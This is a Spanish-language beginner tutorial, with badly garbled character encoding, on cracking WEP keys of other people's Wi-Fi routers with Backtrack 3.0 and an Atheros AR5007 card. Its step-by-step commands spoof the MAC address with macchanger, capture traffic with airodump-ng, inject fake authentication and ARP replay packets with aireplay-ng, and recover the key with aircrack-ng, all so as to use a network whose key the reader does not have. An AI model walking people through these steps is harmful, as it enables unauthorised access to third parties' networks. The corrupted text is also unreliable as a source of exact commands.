Cracking WEP con Backtrack 3.

0 para Tarjetas Atheros AR5007

TUTORIA PARA !E"CI#RAR WEP CO$
BAC%TRAC% 3.0 PARA TAR&ETA" AT'ERO"
AR5007
En este t(toria) e*p)icar+ co,o -esci.rar o crackear c)a/es WEP -e 01 2
345 6its paso a paso en ,(chos p(ntos -e acceso WI#I 2 ro(ters
(ti)i7an-o Backtrack 3.08 (na -istri6(ci9n )i/e -e in(*. E) principa)
o6jeti/o -e este t(toria) es :(e :(ere,os conectarnos a (n p(nto -e
acceso :(e (ti)i7a )a encriptaci9n WEP ;genera),ente In.init(, en
<+*ico=8 pero no sa6e,os )a c)a/e. >a,os a atacar e) ro(ter WI#I
generan-o o capt(ran-o pa:(etes para as? po-er o6tener )a c)a/e WEP.
Este t(toria) ta,6i+n es ap)ica6)e a ,(chas otras tarjetas @ire)ess8 pero
,e he -a-o a )a tarea -e escri6ir)o para )a Atheros AR5007 ;e) c(a)
-e6erA .(ncionar en )os otros ,o-e)os=8 2a :(e a)g(nas tarjetas -e
e:(ipos n(e/os son -i.?ci)es -e )e/antar con otras -istri6(ciones )i/e
;a)g(nos pensar?an :(e i,posi6)e=8 p(es 6ien a:(? )es presento )a
so)(ci9n paso a paso8 principa),ente pensa-o para principiantes en e)
,(n-o -e) 'acking.
Re:(isitosB
C! Backtrack 3.0
Tarjeta Wire)ess Atheros AR5007 ;en este caso= o a)g(no :(e sea
co,pati6)e con e) estAn-ar 504.33.
Preparacin de la tarjeta Wifi
Paso 1. En pri,er )(gar se -e6e -e ha6i)itar e) C,o-o ,onitorD en )a
tarjeta @ire)ess. Pero pri,era,ente /eri.icare,os si e) siste,a ha
reconoci-o n(estra tarjeta @ire)ess8 para e))o a6rire,os (na "he))
;/entana -e co,an-os= 2 tec)eare,os e) sig(iente co,an-oB
i@con.ig
B2B Re2es ;re2esEg4505Fhot,ai).co,=
Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007
!e6erA -e aparecer a)go si,i)ar a )o :(e a contin(aci9n se apreciaB
G
to,are,os nota -e n(estro a-apta-or @ire)ess8 principa),ente -e)
no,6re -e )a inter.a7.
Paso 2. Proce-ere,os a -etener n(estra inter.a78 tec)ea,os )o
sig(ienteB
En genera);sinta*is estAn-ar para otras tarjetas=.
Air,onHng stop I-e/iceJ
Para n(estro caso ;(s(arios con atheros=B
air,onHng stop ath0
Paso 3. Tec)ea,os este co,an-o para po-er hacer e) ca,6io -e )a
-irecci9n <ACB
ifconfig [interface] down
Para AtherosB
i.con.ig @i.i0 -o@n
Paso 4. Ca,6ia,os )a -irecci9n <AC8 tec)ea,os )o sig(ienteB
,acchanger K, 00B33B44B33B11B00 I-e/iceJ
B2B Re2es ;re2esEg4505Fhot,ai).co,=
Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007
Para AtherosB
,acchanger K, 00B33B44B33B11B00 @i.i0
Paso 5. En e) sig(iente paso a) iniciar n(estra tarjeta se ha6i)itarA en
,o-o ,onitor8 tec)ea,osB
airmon-ng start [device]
Para AtherosB
air,onHng start @i.i0
Atacar el objetivo
Paso 6. Ahora 6(scare,os (na re- con seg(ri-a- WEP ha6i)ita-a8 para
e))o a6rire,os otra "he)) ;sin cerrar )as anteriores= 2 tec)eare,os )o
sig(ienteB
airodump-ng [device]
Para AtherosB
airo-(,pHng ath0
G -esp)egarA )o sig(ienteB
B2B Re2es ;re2esEg4505Fhot,ai).co,=
Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007
En este caso e) o6jeti/o es )a re- in.init(,. Aseg(rese -e to,ar nota-e
)a -irecci9n <AC;B""I!=8 e) cana);C'= 2 e) no,6re -e )a re-;E""I!=.
Paso 7. Ahora tene,os :(e recoger -atos -e )os p(ntos -e accesos
WI#I para e) ata:(e8 A6rire,os otra "he)) 2 tec)eare,os )o sig(ienteB
airodump-ng c [channel] -w [filename] bssid [bssid] [device]
Para AtherosB
airo-(,pHng Kc 5 K@ pa:(etes K6ssi- 00B3#BB3BECB0LB#L ath0
Este co,an-o es )a sa)i-a -e -atos recogi-o en (n .ichero :(e en
n(estro caso es pa:(etes. Este archi/o se genera 2 a)i,enta en e)
progra,a -e WEP8 con +) -esci.rare,os )a c)a/e WEP.
Paso 8. A6rire,os otra "he)) 2 -ejare,os e) anterior en .(nciona,iento
;-e ig(a) .or,a )as anteriores 2 posteriores "he))=. Ahora tene,os :(e
generar a)g(nos .a)sos pa:(etes a) p(nto -e acceso para ace)erar )a
sa)i-a -e -atos 2 po-er asociarnos a )a re- o6jeti/o. Para esto
intro-(cire,os e) sig(iente co,an-oB
aireplay-ng -1 0 -a [bssid] -h 00:11:22:33::!! -e [essid] [device]
Para AtherosB
airep)a2Hng H3 0 Ka 00B3#BB3BECB0LB#L Kh 00B33B44B33B11B00 Ke
I$#I$ITU<7505 ath0
B2B Re2es ;re2esEg4505Fhot,ai).co,=
Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007
Paso 9. A contin(aci9n generare,os (n gran nM,ero -e pa:(etes en
)a re- O6jeti/o con e) .in -e -esci.rar )a c)a/e8 tec)ea,os )o sig(iente ;En
otra "he))=B
aireplay-ng -3 -b [bssid] -h 00:11:22:33::!! [device]
Para AtherosB
Airep)a2Hng H3 K6 00B3#BB3BECB0LB#L Kh 00B33B44B33B11B00 ath0
Esto .(er7a a) p(nto -e acceso a en/iar (n ,ont9n -e pa:(etes :(e
po-a,os (ti)i7ar para ro,per )a c)a/e WEP. Re/ise aero-(,pHng 2 (ste-
-e6er?a -e /er )os -atos con )a se)ecci9n -e ))ena-o -e )os pa:(etes.
;Pongo )as i,Agenes -i.erentes 2a :(e a) hacer e) t(toria) no ,e .(e
posi6)e encontrar )as otras panta))as8 pero es a)go si,i)ar8 g(?ese -e )os
co,an-os=.
Paso 1. !esp(es -e (nos 308000 a 408000 I>" ;/isto en N!ata8 en )a
panta))a anterior=p(-e co,en7ar a -esci.rar )a c)a/e WEP si no ha2 otras
,a:(inas generan-o pa:(etes8 intro-(7ca este co,an-o para pro6arB
B2B Re2es ;re2esEg4505Fhot,ai).co,=
Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007
aireplay-ng -2 -p 0"1 -c ##:##:##:##:##:## -b [bssid] -h
00:11:22:33::!! [device]
Para AtherosB
airep)a2 H4 Kp 0513 Kc ##B##B##B##B##B## K6 00B3#BB3BECB0LB#L Hh
00B33B44B33B11B00 ath0
Paso 11. Una /e7 :(e ha2a s(.icientes pa:(etes co,en7are,os con e)
crack8 para e))o tec)e )o sig(iente ;note :(e e) .i)ena,e es e) no,6re -e)
archi/o :(e -e.ini,os en )os pri,eros pasos=B
aircrac$-ng -n 12" -b [bssid] [filename]-01%cap
Para AtherosB
aircrackHng Hn 345 H6 00B3#BB3BECB0LB#L pa:(etesH03.cap
B2B Re2es ;re2esEg4505Fhot,ai).co,=
Cracking WEP con Backtrack 3.0 para Tarjetas Atheros AR5007
a CHn 345 D signi.ica (na c)a/e WEP -e 345 6its -e encriptaci9n8 intente
(na c)a/e -e 01 6its ca,6ian-o e) /a)or -e n a 01.
Una /e7 o6teni-a )a c)a/e )o copia 2 2a en Win-o@s po-rA intro-(cir)a
;sin )os -os p(ntos= para tener acceso a internet.
O(e )o -is.r(tesPPPPP
B2B Re2es ;re2esEg4505Fhot,ai).co,=